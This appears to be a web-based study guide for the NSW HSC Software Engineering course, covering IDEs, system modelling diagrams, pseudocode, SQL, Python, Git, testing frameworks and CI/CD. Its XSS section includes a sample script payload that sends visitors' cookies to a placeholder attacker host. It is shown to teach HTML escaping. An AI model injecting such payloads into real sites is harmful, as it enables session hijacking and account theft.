IDE & Development Tools
An Integrated Development Environment (IDE) combines a code editor, build tools, debugger, and other features into a single application. A plain text editor (e.g. Notepad, nano) only edits text — you must run all other tools separately.
IDE vs Text Editor — Feature Comparison
| Feature | Text Editor | IDE |
|---|---|---|
| Syntax highlighting | Basic / plugin | Built-in, language-aware |
| IntelliSense / autocomplete | Rarely | Yes — context-aware suggestions |
| Integrated debugger | No | Yes — breakpoints, watch variables |
| Refactoring tools | No | Yes — rename, extract, inline |
| Extensions / plugins | Limited | Large ecosystem |
| Integrated terminal | Rarely | Yes — run commands without leaving the editor |
| Version control integration | No | Yes — diff, commit, branch from sidebar |
| Linter / static analysis | Plugin only | Built-in or first-class plugin |
VS Code — Setup for Python
Visual Studio Code is a lightweight, free IDE by Microsoft with a vast extension library. Recommended extensions for Python HSC work:
{
"editor.fontSize": 14,
"editor.tabSize": 4,
"editor.formatOnSave": true,
"python.defaultInterpreterPath": "${workspaceFolder}/venv/bin/python",
"python.linting.enabled": true,
"python.linting.pylintEnabled": true,
"editor.rulers": [79],
"files.trimTrailingWhitespace": true
}
PyCharm — Setup for Python
PyCharm (JetBrains) is a full Python IDE with deeper analysis than VS Code. Key setup steps:
Arduino IDE
Used for programming Arduino microcontrollers (C/C++ dialect). Key features for HSC Mechatronics:
Servo, DHT sensor library.Serial.println(). Essential for debugging sensor readings and program state at runtime.Thonny — MicroPython on Microcontrollers
Thonny is a beginner-friendly Python IDE designed for education and MicroPython development on boards like Raspberry Pi Pico and ESP32.
IDE Features Summary Table
| Feature | VS Code | PyCharm | Arduino IDE | Thonny |
|---|---|---|---|---|
| Autocomplete | Yes (Pylance) | Yes (built-in) | Limited | Basic |
| Syntax highlighting | Yes | Yes | Yes | Yes |
| Integrated debugger | Yes | Yes | No | Yes (MicroPython) |
| Version control integration | Yes (Git) | Yes (Git) | No | No |
| Linter / static analysis | Yes (Pylint/Flake8) | Yes (built-in) | No | Limited |
| Refactoring | Basic | Advanced | No | No |
Use PyCharm for larger Python projects that benefit from advanced refactoring, deeper type checking, and database tools (Community Edition is free).
Use Arduino IDE for all Arduino-based mechatronics tasks — it handles board-specific compilation and serial communication.
Use Thonny for MicroPython on Raspberry Pi Pico or ESP32 — its built-in file transfer and REPL make deploying to the board fast and simple.
System and Data Modelling Tools
Data Flow Diagrams (DFD)
Used to represent the flow of data through an information system. DFDs show what data moves through a system and where it goes — not how or when.
While industry diagrams often use a cylinder for databases, NESA strictly requires Data Stores to be drawn as an open-ended rectangle (closed on the left, open on the right) in HSC exams. Ensure you use this specific notation when drawing DFDs.
Level 1 DFD: Expands the single bubble into its major processes. Data stores appear at this level. Each process can be further expanded into a Level 2 DFD if needed.
Data flow diagram
Level 0 data flow diagram: a library system
The whole system as one process, surrounded by the external entities it exchanges data with.
What to notice
- A Level 0 DFD shows no data stores or internal processes.
- Each data flow is a labelled, curved arrow.
Try thisRefine this into a Level 1 DFD with processes for loans, returns and reports, and a Loans data store.
Example scenario — Online Bookshop: A Customer (external entity) sends an order request (data flow) to the Process Order (process), which reads from the D1 Book Catalogue (data store) and sends a confirmation back to the customer.
Structure Charts
Represent a system's modular design — showing how subroutines are called from one another in a hierarchy. Modules at the top control modules below them.
Structure chart
Structure chart: a school library system
The example from the NESA course specifications: modules, data and flag couples, a decision and repetition.
What to notice
- Open circle: data passed as a parameter. Filled circle: a flag.
- Curved arrow: repetition. Small diamond: a decision about which module to call.
Try thisRefine Returning into its own structure chart.
Data Dictionary
A structured reference that documents every variable and data element in a system. Each entry includes: Name, Data Type, Format, Size, Description, Example value, and Validation rules.
| Name | Data Type | Format | Size | Description | Example | Validation |
|---|---|---|---|---|---|---|
studentID | Integer | XXXXXX | 6 digits | Unique student identifier | 482019 | Must be 6 digits, not null |
surname | String | Text | 50 chars | Student's family name | Smith | Letters only, not empty |
score | Real | ##.# | 4 bytes | Exam score out of 100 | 87.5 | 0.0 ≤ score ≤ 100.0 |
dateOfBirth | Date | DD/MM/YYYY | 10 chars | Student's date of birth | 14/03/2007 | Valid calendar date |
Class Diagrams
Used in object-oriented design to show classes, their attributes, methods, and the relationships between them. Each class is drawn as a box divided into three compartments.
Class diagram
Class diagram: students, parents and subjects
Based on the NESA course specifications example: Student and Parent inherit from Person, and students study subjects.
What to notice
- Each box has three parts: class name, attributes, methods.
- 1..* means one or more; 0..* means zero or more.
Try thisAdd a Teacher class that inherits from Person and teaches subjects. What multiplicities fit?
Storyboard
A visual sequence of annotated screen layouts showing the user's journey through a system. Created in the design phase before any code is written, storyboards allow stakeholders to review and approve the interface before development begins.
Each frame in a storyboard typically includes:
- A sketch or wireframe of the screen layout
- The screen name or state (e.g. "Login Screen", "Results Page")
- Navigation arrows showing what triggers the transition to the next screen (e.g. "Click Submit")
- Notes on input fields, buttons, and displayed data
Decision Trees
A tree-based diagram that models decision logic. Starting from a root condition, each branch represents a possible outcome of a test. Decision trees are useful for representing complex nested logic clearly.
Decision tree
Decision tree: exam grades
Each condition leads to another decision or to a final action.
What to notice
- Every branch is labelled Yes or No.
- Each path ends in exactly one grade.
Try thisAdd a grade for scores of 40–49. Where does the new branch go?
Try it
Which tool or diagram?
Match eight jobs to the right diagram or chart. Enable JavaScript to use this tool. In short: a DFD shows data movement, a structure chart shows modules, a data dictionary lists fields, a class diagram shows classes, a storyboard shows screens, a decision tree shows conditions and outcomes, and a Gantt chart shows tasks over time.
Project Management Tools
Gantt Charts
A horizontal bar chart that displays all project tasks against a timeline, making it easy to see what needs to happen, in what order, and how long each task should take.
Planned workOverlap or slack
Process Diaries / Log Books
A regular written record kept throughout the project. Entries are made at consistent intervals (e.g. after each work session, weekly, or at each milestone) and serve as evidence of the development process.
A typical log entry includes:
- Date and time of the session
- Tasks completed — what was achieved
- Obstacles encountered — bugs, design problems, or blockers
- Next steps — what will be attempted in the next session
- Reflective comments — what was learned or what could be improved
Date: 14 March 2025 Session duration: 90 minutes
Tasks completed:
- Implemented the login form with input validation (Python / Flask)
- Updated Gantt chart: testing phase pushed back 2 days
Stumbling blocks:
- The input sanitisation function was stripping "+" characters from
valid email addresses (e.g. user+tag@example.com)
Solutions applied:
- Updated the regex to r'^[\w.+\-]+@[\w\-]+\.[\w.]+$'
- Verified against RFC 5321 which confirms "+" is legal in the local part
Next steps:
- Write unit tests for the validate_email() function
- Begin designing the database schema
Reflective comment:
- This bug took longer than expected. In future I should test
edge cases during coding rather than discovering them in testing.
Programming Paradigms
A programming paradigm is a fundamental style or approach to solving problems with code. Different paradigms suit different types of problems.
Object-Oriented
Organises code into classes and objects. Key concepts: attributes, methods, inheritance, polymorphism, and encapsulation. Used in Python, Java, C#.
class Dog:
def __init__(self, name):
self.name = name
def bark(self):
return "Woof!"
Logic
Programs are expressed as facts and rules; the engine finds solutions automatically. Used in Prolog for AI and expert systems.
% Prolog-style logic
parent(tom, bob).
parent(bob, ann).
grandparent(X, Z) :-
parent(X, Y), parent(Y, Z).
Imperative
Programs describe how to do something as a sequence of commands — control structures, assignment, expressions, and subroutines. Most common paradigm; used in Python, C, Pascal.
total = 0
for i in range(1, 6):
total = total + i
print(total) # 15
Functional
Treats computation as evaluating functions. Avoids changing state; uses recursion and first-class functions. Used in Haskell, Erlang; supported in Python.
# Python functional style
nums = [1, 2, 3, 4, 5]
total = sum(map(lambda x: x*2, nums))
print(total) # 30
Algorithms
An algorithm is a precise, step-by-step set of instructions for solving a problem. In HSC Software Engineering, algorithms are communicated using pseudocode or flowcharts.
Pseudocode
A structured English-like notation for expressing algorithms. It is not executable code — it communicates logic without worrying about syntax. NSW HSC conventions:
- Keywords in CAPITALS (e.g.
IF,WHILE,FOR) - Structural keywords come in matched pairs:
IF / ENDIF,WHILE / ENDWHILE,BEGIN / END - Indent the body of every control structure
- Use
←for assignment (e.g.total ← 0)
BEGIN
INPUT numbers # A list of numbers entered by the user
largest ← numbers[0]
FOR i = 1 TO LENGTH(numbers) - 1
IF numbers[i] > largest THEN
largest ← numbers[i]
ENDIF
NEXT i
OUTPUT "Largest value: ", largest
END
Flowcharts
A visual diagram using standardised shapes connected by arrows to show the flow of logic through an algorithm.
Reference
Flowchart symbols
The five symbols in the NESA course specifications. Use only these, joined by arrows.
- Terminator
- Process
- Decision
- Input or output
- Subprogram
Flowchart
Find the largest number in a list
A pre-test loop compares each item with the largest value found so far.
What to notice
- The loop body returns to the decision.
- largest starts at the first item, so the loop begins at the second.
Try thisChange the flowchart to find the smallest number instead.
Control Structures
Control structures determine the order in which instructions execute. Every algorithm is built from three fundamental building blocks: Sequence, Selection, and Repetition.
Sequence
The default mode — statements execute one after another, top to bottom, in the exact order they are written. No branching or repetition occurs.
BEGIN
INPUT score1
INPUT score2
INPUT score3
total ← score1 + score2 + score3
average ← total / 3
OUTPUT "Average score: ", average
END
Selection
Allows the program to choose between different paths based on a condition.
Binary Selection
Chooses between exactly two outcomes: one path if the condition is true, another if it is false.
IF score >= 50 THEN
OUTPUT "Result: Pass"
ELSE
OUTPUT "Result: Fail"
ENDIF
Multi-way Selection
Selects from several possible outcomes based on a single expression's value. More readable than a deep nested IF when every branch tests the same expression.
CASEWHERE menuChoice equals
1: OUTPUT "New Game"
2: OUTPUT "Load Game"
3: OUTPUT "High Scores"
OTHERWISE: OUTPUT "Invalid choice"
END CASE
Nested IF
An IF structure placed inside another IF. Used when a decision depends on the result of a previous decision.
IF score >= 50 THEN
IF score >= 85 THEN
OUTPUT "Grade: A (Distinction)"
ELSE
OUTPUT "Grade: Pass"
ENDIF
ELSE
OUTPUT "Grade: Fail — please see your teacher"
ENDIF
Repetition
Allows a block of statements to execute multiple times. The choice of loop depends on whether the number of iterations is known in advance.
Pre-test (WHILE)
Checks the condition before each iteration. If the condition is false from the start, the body never executes.
INPUT password
WHILE password != "correct123"
OUTPUT "Incorrect password. Try again."
INPUT password
ENDWHILE
OUTPUT "Access granted."
Post-test (REPEAT / UNTIL)
Checks the condition after each iteration. The body always executes at least once.
REPEAT
OUTPUT "Enter a number between 1 and 10: "
INPUT number
UNTIL number >= 1 AND number <= 10
OUTPUT "You entered: ", number
FOR / NEXT (Counted Loop)
Used when the number of iterations is known in advance. The loop variable is automatically incremented each cycle.
total ← 0
FOR i = 1 TO 5 STEP 1
INPUT score
total ← total + score
NEXT i
average ← total / 5
OUTPUT "Class average: ", average
FOR/NEXT when the count is known. Use WHILE when checking a condition before starting. Use REPEAT/UNTIL when the body must run at least once (e.g. input validation).
Subroutines
A subroutine is a named, reusable block of code that performs a specific task. Subroutines promote modularity — breaking a large problem into smaller, manageable pieces.
Using a Subroutine with One Parameter
A parameter is a variable that receives a value when the subroutine is called. The value passed in is called an argument.
SUBROUTINE greetStudent(studentName)
OUTPUT "Welcome, ", studentName, "!"
OUTPUT "Good luck with your HSC."
END SUBROUTINE
# Calling the subroutine:
greetStudent("Alice")
greetStudent("Ben")
Using a Subroutine with Multiple Parameters
Multiple parameters are separated by commas. Each argument passed must match the corresponding parameter in position and type.
SUBROUTINE displayResult(studentName, score)
OUTPUT studentName, " scored ", score, "/100"
IF score >= 50 THEN
OUTPUT "Result: Pass"
ELSE
OUTPUT "Result: Fail"
ENDIF
END SUBROUTINE
# Calling the subroutine:
displayResult("Alice", 87)
displayResult("Ben", 43)
Passing a Value Back from a Function
A function uses RETURN to send a computed value back to the line that called it. The returned value can be stored in a variable or used directly in an expression.
FUNCTION getGrade(score)
IF score >= 90 THEN
RETURN "A"
ELSE
IF score >= 75 THEN
RETURN "B"
ELSE
IF score >= 50 THEN
RETURN "C"
ELSE
RETURN "Fail"
ENDIF
ENDIF
ENDIF
END FUNCTION
# Calling the function:
grade ← getGrade(82)
OUTPUT "Your grade is: ", grade # Your grade is: B
Relational Databases
SQL
Structured Query Language (SQL) is the standard language for interacting with relational databases. A relational database stores data in tables (relations), where each row is a record and each column is a field.
SELECT field(s)
FROM table(s)
WHERE search criteria
GROUP BY field(s)
ORDER BY field(s) ASC/DESC
-- Get all students with a score above 80, sorted highest first
SELECT studentID, surname, score
FROM Students
WHERE score > 80
ORDER BY score DESC;
-- Count how many students passed each subject
SELECT subjectName, COUNT(*) AS numPassing
FROM Enrolments
WHERE score >= 50
GROUP BY subjectName
ORDER BY numPassing DESC;
-- Join two tables: get student names with their subject enrolments
SELECT Students.surname, Subjects.subjectName, Enrolments.score
FROM Students
JOIN Enrolments ON Students.studentID = Enrolments.studentID
JOIN Subjects ON Enrolments.subjectID = Subjects.subjectID
WHERE Enrolments.score >= 50;
AVG(score)).Object-Relational Mapping (ORM)
ORM is a programming technique that allows a developer to interact with a relational database using objects rather than raw SQL. The ORM framework automatically generates the SQL behind the scenes.
# The class maps directly to the "students" database table
class Student(Base):
__tablename__ = 'students'
studentID = Column(Integer, primary_key=True)
surname = Column(String(50))
score = Column(Float)
# Query using objects instead of SQL strings
passing = session.query(Student).filter(Student.score >= 50).all()
for s in passing:
print(s.surname, s.score)
Wiring Diagrams for Mechatronic Systems
Wiring diagrams use standardised schematic symbols to represent electronic components and their connections. They show how components are electrically connected in a circuit — different from a physical layout diagram.
Resistor
Limits current flow. Shown as a rectangle or zigzag line. Value measured in Ohms (Ω).
Capacitor
Stores electrical charge temporarily. Shown as two parallel lines. Value in Farads (F).
Diode / LED
Allows current to flow in one direction only. LED emits light when conducting. Shown as a triangle pointing to a line.
Voltage Source
Provides electrical potential. DC shown as long/short parallel lines; AC shown as a circle with a wave symbol.
Speaker / Motor
Output transducers — convert electrical energy to sound (speaker) or mechanical motion (motor).
Integrated Circuit (IC)
A chip containing many transistors and logic gates. Shown as a rectangle with labelled input/output pins.
+5V → [Resistor 220Ω] → [LED Anode (+)] → [LED Cathode (−)] → GNDIn wiring diagrams, always trace from the positive supply (VCC/5V) through each component in series to ground (GND). The resistor limits current so the LED doesn't burn out (LEDs typically need 20mA at 2V forward voltage; at 5V supply: R = (5 − 2) / 0.02 = 150Ω minimum — 220Ω is the standard safe choice).
In Arduino projects: digital output pin → resistor → LED → GND. When the pin outputs HIGH (5V), current flows and the LED illuminates.
Programming for the Web
Front-end Web Development Frameworks
Front-end frameworks provide pre-built, reusable components and a structured approach to building user interfaces in the browser. Rather than writing all HTML/CSS/JS from scratch, developers compose interfaces from components.
Cross-site Scripting (XSS)
XSS is a web security vulnerability where an attacker injects malicious client-side scripts into web pages that other users then view. The injected script runs in the victim's browser with the same trust level as the legitimate site.
<script> tag. Every visitor who loads the page runs the script in their own browser — the attacker can steal session cookies, redirect users, or log keystrokes.
# VULNERABLE — user input rendered directly as HTML:
comment = request.form['comment']
return f"<p>{comment}</p>"
# If comment = <script>document.location='https://evil.com?c='+document.cookie</script>
# → every visitor's cookie is sent to the attacker
# SAFE — escape special characters before rendering:
from markupsafe import escape
safe_comment = escape(comment)
return f"<p>{safe_comment}</p>"
# <script> becomes <script> — displayed as text, never executed
< > & " ' to HTML entities before rendering any user-supplied content.(2) Validate input server-side — reject input that doesn't match an expected format or whitelist.
(3) Content Security Policy (CSP) — set a response header restricting which scripts may execute on your page.
< > & " ') to HTML entities so they render as text rather than being parsed as markup.Cascading Style Sheets (CSS)
CSS describes the visual presentation of HTML documents — colours, layout, fonts, and spacing. Styles cascade: more specific rules override more general ones.
/* Syntax: selector { property: value; } */
/* Element selector — targets all <p> tags */
p {
font-size: 16px;
color: #333333;
line-height: 1.6;
}
/* Class selector — targets elements with class="highlight" */
.highlight {
background-color: yellow;
font-weight: bold;
}
/* ID selector — targets the unique element with id="header" */
#header {
background-color: #2c3e50;
padding: 20px;
text-align: center;
}
/* Descendant selector — targets <a> inside .nav */
.nav a {
color: white;
text-decoration: none;
}
p), class (.name), ID (#name), or descendant (div p).color, font-size, margin, padding, display.red, 16px, 1em, auto, #ff0000.Machine Learning
Machine learning (ML) enables systems to learn patterns from data and make predictions or decisions without being explicitly programmed for each case.
Machine Learning Automation through MLOps
MLOps integrates ML workflows with software engineering and DevOps practices to make model development and deployment reliable and repeatable. Three stages:
Regression Algorithms
Supervised learning algorithms that predict a continuous numerical output from input features. The algorithm learns the mapping between inputs and outputs from labelled training data.
y = mx + b. Example: predicting a student's final exam score from hours studied.y = m₁x₁ + m₂x₂ + … + b. Example: predicting house price from size, location, and age.Neural Networks
Computational models loosely inspired by the brain, composed of layers of interconnected nodes (neurons). Each connection has a weight that is adjusted during training.
System diagram
A neural network
Inputs, hidden layers and an output, joined by weighted connections.
What to notice
- Training adjusts the weight on every connection.
Try thisCount the connections between the first two layers.
Training Cycle
Repeated many times (each complete pass through training data is called an epoch) until the model's error is minimised.
Execution Cycle (Inference)
A friendly overview of how computers learn from data to make predictions — useful context for the machine learning workflow above.
Methods for Testing a System
Testing verifies that a system behaves correctly and meets its requirements. Different testing methods serve different purposes at different stages of development.
Test Data Categories
When designing test cases, you should always include data from three categories:
| Category | Test Input | Expected Result | Reason |
|---|---|---|---|
| Valid — normal | 50 | Accepted — "Score recorded" | Middle of valid range |
| Valid — normal | 85 | Accepted — "Score recorded" | Within range, typical value |
| Boundary — lower limit | 0 | Accepted — "Score recorded" | Exactly at minimum |
| Boundary — upper limit | 100 | Accepted — "Score recorded" | Exactly at maximum |
| Boundary — just below min | -1 | Rejected — "Score must be 0–100" | One below minimum (off-by-one check) |
| Boundary — just above max | 101 | Rejected — "Score must be 0–100" | One above maximum (off-by-one check) |
| Invalid — wrong type | "abc" | Rejected — "Must enter a number" | String input where integer expected |
| Invalid — extreme | 9999 | Rejected — "Score must be 0–100" | Far outside valid range |
> instead of >=) are one of the most common programming bugs and will only be caught by boundary test data.
Character Representation
Computers store text by mapping each character to a numeric code, which is then stored in binary. The encoding standard used determines which number corresponds to which character.
Character Code Examples
| Character | ASCII Decimal | Hexadecimal | Binary (8-bit) |
|---|---|---|---|
A | 65 | 0x41 | 0100 0001 |
B | 66 | 0x42 | 0100 0010 |
a | 97 | 0x61 | 0110 0001 |
z | 122 | 0x7A | 0111 1010 |
0 | 48 | 0x30 | 0011 0000 |
Space | 32 | 0x20 | 0010 0000 |
'A' = 65 and 'a' = 97 — a difference of exactly 32 (0b00100000). To convert uppercase to lowercase in binary, you simply set bit 5 to 1. This is why character encoding matters to developers beyond just storing text.
# Convert between characters and their ASCII codes
print(ord('A')) # → 65
print(ord('a')) # → 97
print(chr(65)) # → 'A'
print(chr(90)) # → 'Z'
# Case conversion using the 32-bit difference
upper = 'H'
lower = chr(ord(upper) + 32) # 72 + 32 = 104 → 'h'
print(lower) # → 'h'
# Simple Caesar cipher — shift each letter by 3
message = "HELLO"
ciphertext = ""
for ch in message:
shifted = chr(ord(ch) + 3)
ciphertext += shifted
print(ciphertext) # → 'KHOOR'
# Check if a character is uppercase, lowercase, or digit
ch = 'G'
if 65 <= ord(ch) <= 90:
print(f"{ch} is uppercase")
elif 97 <= ord(ch) <= 122:
print(f"{ch} is lowercase")
elif 48 <= ord(ch) <= 57:
print(f"{ch} is a digit")
# NESA requires understanding 'simple encryption' via binary format.
# XOR (^) is a perfect demonstration: encrypting twice with the same key restores the data.
def simple_xor_encrypt(text, key):
result = ""
for char in text:
# 1. Get binary/decimal format of character
char_val = ord(char)
# 2. XOR with the key
cipher_val = char_val ^ key
# 3. Convert back to character format
result += chr(cipher_val)
return result
plaintext = "HSC"
key = 42 # Arbitrary secret key for XOR
# Encrypt
cipher = simple_xor_encrypt(plaintext, key)
print(f"Encrypted string: {repr(cipher)}")
# Decrypt (same operation reverses the flip!)
decrypted = simple_xor_encrypt(cipher, key)
print(f"Decrypted string: {decrypted}") # -> 'HSC'
Programming with Python
Python is the primary programming language for the HSC Software Engineering course. It uses indentation (not braces) to define code blocks, and reads like English.
Variables, Input & Output
# Variables are dynamically typed — no need to declare a type
name = "Alice"
age = 17
score = 87.5
is_passing = True
# Getting input from the user (always returns a string)
name = input("Enter your name: ")
age = int(input("Enter your age: ")) # Convert to integer
score = float(input("Enter score: ")) # Convert to float
# Output
print("Hello,", name)
print(f"Score: {score:.1f}/100") # f-string with 1 decimal place
Selection
# Binary selection
if score >= 50:
print("Pass")
else:
print("Fail")
# Multi-way selection (elif chain)
if score >= 90:
grade = "A"
elif score >= 75:
grade = "B"
elif score >= 50:
grade = "C"
else:
grade = "Fail"
print(f"Grade: {grade}")
Repetition
# for loop — counted repetition (range gives 1, 2, 3, 4, 5)
total = 0
for i in range(1, 6):
score = int(input(f"Enter score {i}: "))
total += score
average = total / 5
print(f"Average: {average}")
# while loop — condition-controlled (pre-test)
password = input("Enter password: ")
while password != "secret123":
print("Incorrect. Try again.")
password = input("Enter password: ")
print("Access granted.")
Functions
# Procedure — performs an action, no return value
def display_result(name, score):
print(f"{name}: {score}/100")
if score >= 50:
print(" → Pass")
else:
print(" → Fail")
# Function — returns a computed value
def calculate_grade(score):
if score >= 90:
return "A"
elif score >= 75:
return "B"
elif score >= 50:
return "C"
else:
return "Fail"
# Calling them
display_result("Alice", 87)
grade = calculate_grade(87)
print(f"Grade: {grade}") # Grade: B
Lists & Iteration
scores = [85, 92, 78, 64, 90]
# Access by index (0-based)
print(scores[0]) # 85
print(scores[-1]) # 90 (last element)
# Common list operations
scores.append(77) # Add to end
scores.sort() # Sort ascending
scores.sort(reverse=True) # Sort descending
highest = max(scores)
lowest = min(scores)
average = sum(scores) / len(scores)
# Iterate over a list
for s in scores:
print(s, end=" ") # 92 90 85 78 77 64
# List comprehension — filter passing scores
passing = [s for s in scores if s >= 50]
File I/O
# Writing to a file
with open("scores.txt", "w") as f:
for score in scores:
f.write(str(score) + "\n")
# Reading from a file
with open("scores.txt", "r") as f:
for line in f:
value = int(line.strip()) # strip() removes trailing newline
print(value)
# Appending to an existing file
with open("scores.txt", "a") as f:
f.write("99\n")
Dictionaries
# Dictionary stores key-value pairs
student = {
"name": "Alice",
"age": 17,
"score": 87.5
}
# Access and update
print(student["name"]) # Alice
student["score"] = 92.0 # Update value
student["subject"] = "SoftEng" # Add new key
# Iterate over key-value pairs
for key, value in student.items():
print(f"{key}: {value}")
Exception Handling
# Basic exception handling — prevent a crash on bad input
try:
age = int(input("Enter your age: "))
print(f"In 10 years you will be {age + 10}")
except ValueError:
print("Error: please enter a whole number.")
# Handle multiple exception types
try:
with open("data.txt", "r") as f:
data = f.read()
number = int(data.strip())
result = 100 / number
print(f"Result: {result}")
except FileNotFoundError:
print("Error: data.txt not found.")
except ValueError:
print("Error: file does not contain a valid integer.")
except ZeroDivisionError:
print("Error: cannot divide by zero.")
finally:
print(("Processing complete.")) # Runs whether exception occurred or not
A rapid, high-level overview of what Python is and why it is so widely used — a quick refresher of the language's strengths.
Git & Version Control Workflow
Git is a distributed version control system that tracks every change to your code. Every commit is a snapshot — you can revert to any previous state, compare versions, and collaborate without overwriting each other's work.
Core Git Commands Reference
| Command | What It Does | Example |
|---|---|---|
git init | Initialise a new empty repository | git init myproject |
git clone | Copy a remote repository to your machine | git clone https://github.com/user/repo.git |
git status | Show which files are changed, staged, or untracked | git status |
git add | Stage changes for the next commit | git add app.py or git add . |
git commit | Save staged changes as a commit with a message | git commit -m "Add login feature" |
git push | Upload local commits to the remote repository | git push origin main |
git pull | Download and merge remote changes | git pull origin main |
git fetch | Download remote changes without merging | git fetch origin |
git branch | List, create, or delete branches | git branch feature/login |
git checkout | Switch branches or restore files | git checkout feature/login |
git switch | Switch branches (modern alternative to checkout) | git switch -c feature/login |
git merge | Merge a branch into the current branch | git merge feature/login |
git log | Show commit history | git log --oneline --graph |
git diff | Show unstaged changes | git diff app.py |
git stash | Temporarily save uncommitted changes | git stash pop |
git tag | Create a labelled reference to a commit | git tag v1.0.0 |
git reset | Undo commits (use with caution!) | git reset --soft HEAD~1 |
git revert | Create a new commit that undoes a previous one (safe) | git revert abc1234 |
git remote | Manage remote repository connections | git remote -v |
git rm | Remove a file from the repository and staging | git rm old_file.py |
Feature Branch Workflow
Feature Branch Workflow
──────────────────────────────────────────────────────────────
main ──●──────────────────────────────────●── stable/deployable
\ /
● feature/login ← merged via Pull Request
\ /
●──●──● (develop here) ●── all tests pass
──────────────────────────────────────────────────────────────
Steps:
1. git switch -c feature/login ← create feature branch
2. write code, git add, git commit ← develop and commit
3. git push origin feature/login ← push to remote
4. Open Pull Request on GitHub ← request code review
5. Peer reviews → approves ← quality gate
6. Merge into main ← integrated and deployed
7. git branch -d feature/login ← clean up
# Start from an up-to-date main branch
git switch main
git pull origin main
# Create and switch to a new feature branch
git switch -c feature/student-search
# ... write code ...
# Stage and commit changes
git add search.py templates/search.html
git commit -m "Add student search by name and ID"
# Push branch to remote
git push -u origin feature/student-search
# After PR is reviewed and approved:
git switch main
git pull origin main
git merge feature/student-search
git push origin main
# Clean up
git branch -d feature/student-search
Example .gitignore for Python Projects
# Virtual environments
venv/
.venv/
env/
# Python bytecode
__pycache__/
*.pyc
*.pyo
# Environment variables (NEVER commit secrets)
.env
.env.local
secrets.json
# IDE files
.vscode/
.idea/
*.swp
# Test coverage reports
.coverage
htmlcov/
# Build outputs
dist/
build/
*.egg-info/
✓ Use imperative mood: "Add login page" not "Added login page"
✓ Keep subject line under 50 characters
✓ Explain why the change was made, not just what
✓ Reference related issue numbers: "Fix input validation (closes #12)"
✗ Don't write: "fix", "wip", "changes", "update stuff"
A hands-on introduction to version control — commits, branches, merging, and pushing to GitHub — the workflow used in the HSC project.
Testing Frameworks
Python has two primary testing frameworks. Both allow you to write automated tests that verify your code behaves correctly — automatically, every time you make a change.
unittest — Built-in Python Testing
import unittest
from bank_account import BankAccount # the module we're testing
class TestBankAccount(unittest.TestCase):
def setUp(self):
"""Runs before each test method — creates fresh test data."""
self.account = BankAccount("Alice", 1000)
def tearDown(self):
"""Runs after each test method — clean up if needed."""
pass
def test_initial_balance(self):
self.assertEqual(self.account.balance, 1000)
def test_deposit_increases_balance(self):
self.account.deposit(500)
self.assertEqual(self.account.balance, 1500)
def test_withdraw_decreases_balance(self):
self.account.withdraw(200)
self.assertEqual(self.account.balance, 800)
def test_withdraw_insufficient_funds_raises_error(self):
with self.assertRaises(ValueError):
self.account.withdraw(9999)
def test_deposit_negative_raises_error(self):
with self.assertRaises(ValueError):
self.account.deposit(-50)
def test_balance_cannot_go_negative(self):
self.account.withdraw(1000)
self.assertGreaterEqual(self.account.balance, 0)
if __name__ == '__main__':
unittest.main(verbosity=2)
pytest — Modern Python Testing
pytest is simpler to write and provides more detailed failure output than unittest. Tests are just functions prefixed with test_.
import pytest
from bank_account import BankAccount
@pytest.fixture
def account():
"""pytest fixture — creates a BankAccount for each test."""
return BankAccount("Bob", 500)
def test_deposit(account):
account.deposit(100)
assert account.balance == 600
def test_withdraw(account):
account.withdraw(200)
assert account.balance == 300
# Parametrize: run same test with multiple inputs
@pytest.mark.parametrize("amount,expected", [
(100, 600),
(500, 1000),
(0.01, 500.01),
])
def test_deposit_parametrized(account, amount, expected):
account.deposit(amount)
assert account.balance == pytest.approx(expected)
unittest vs pytest Comparison
| Feature | unittest | pytest |
|---|---|---|
| Syntax | Class-based, verbose | Function-based, minimal |
| Built into Python? | Yes | No — requires pip install pytest |
| Failure output | Basic | Detailed diff with variable values |
| Fixtures | setUp/tearDown | @pytest.fixture — more flexible |
| Parametrised tests | Requires subTest or loops | @pytest.mark.parametrize |
| HSC recommendation | Fine for simple projects | Preferred for clean, readable tests |
TDD — Test-Driven Development
TDD Cycle: Red → Green → Refactor
──────────────────────────────────────────
🔴 RED Write a failing test FIRST
(the feature doesn't exist yet — test must fail)
↓
🟢 GREEN Write the minimum code to make the test pass
(don't over-engineer — just make it pass)
↓
🔵 REFACTOR Improve the code's design without changing behaviour
(tests still pass — they protect against regressions)
↓
Repeat for the next feature
──────────────────────────────────────────
coverage run -m pytest then coverage report to see what percentage of your code is executed by tests. Aim for >80% coverage. Missing lines shown with coverage html → open htmlcov/index.html.
CI/CD — Continuous Integration & Deployment
CI/CD automates the build, test, and deployment pipeline. Every time code is pushed, the pipeline runs automatically — catching bugs before they reach production.
GitHub Actions — Automated Testing on Push
name: Run Tests
on:
push:
branches: [ main, develop ]
pull_request:
branches: [ main ]
jobs:
test:
runs-on: ubuntu-latest
steps:
- name: Check out code
uses: actions/checkout@v4
- name: Set up Python 3.11
uses: actions/setup-python@v4
with:
python-version: '3.11'
- name: Install dependencies
run: |
python -m pip install --upgrade pip
pip install -r requirements.txt
pip install pytest coverage
- name: Run tests with coverage
run: |
coverage run -m pytest tests/ -v
coverage report --fail-under=80
Even for solo HSC projects, a CI pipeline adds value — every push is automatically tested, so you always know whether your changes broke anything. It also demonstrates professional development practice in your folio documentation.
What Markers Look For
This guidance supports the Software Engineering Project focus area. It isn't syllabus content, but it shows how the dot points turn into marks.
- Starting to code in Phase 1: The most common mistake. Phase 1 must be completed (requirements gathered, feasibility assessed, client consulted) before any code is written. Evidence of planning is required.
- Missing non-functional requirements: Functional requirements alone are insufficient. Assessors expect performance, security, usability, and maintainability requirements to be explicitly documented.
- No client consultation evidence: Simply stating "I consulted a client" is not enough. You must include dated meeting minutes, a signed requirements document, survey results, or email evidence.
- Test data with only normal cases: A test table that only tests valid inputs misses the point of testing. You must include boundary and invalid test cases and demonstrate that your code handles them correctly.
- Evaluation that does not reference Phase 1 requirements: Your evaluation must explicitly go back to each requirement from Phase 1 and assess whether it was met. An evaluation that says "I think the project went well" without referencing requirements receives minimal marks.
- Process diary written retrospectively: The process diary must be written throughout the project. Assessors can tell when it was written all at once at the end — dated entries over several weeks are essential.
- No version control history: An empty or near-empty GitHub commit history suggests the project was completed in one sitting. Regular commits with meaningful messages are expected.
What Markers Look for in Each Phase
Phase 1 — Identifying & Defining
- Clear, genuine real-world problem statement
- Evidence of client consultation (meeting minutes, survey)
- Both functional AND non-functional requirements listed
- Feasibility analysis (scheduling and resources)
- Defined scope with explicit boundaries
- User stories with acceptance criteria
Phase 2 — Research & Planning
- Justified choice of development approach (Agile/Waterfall)
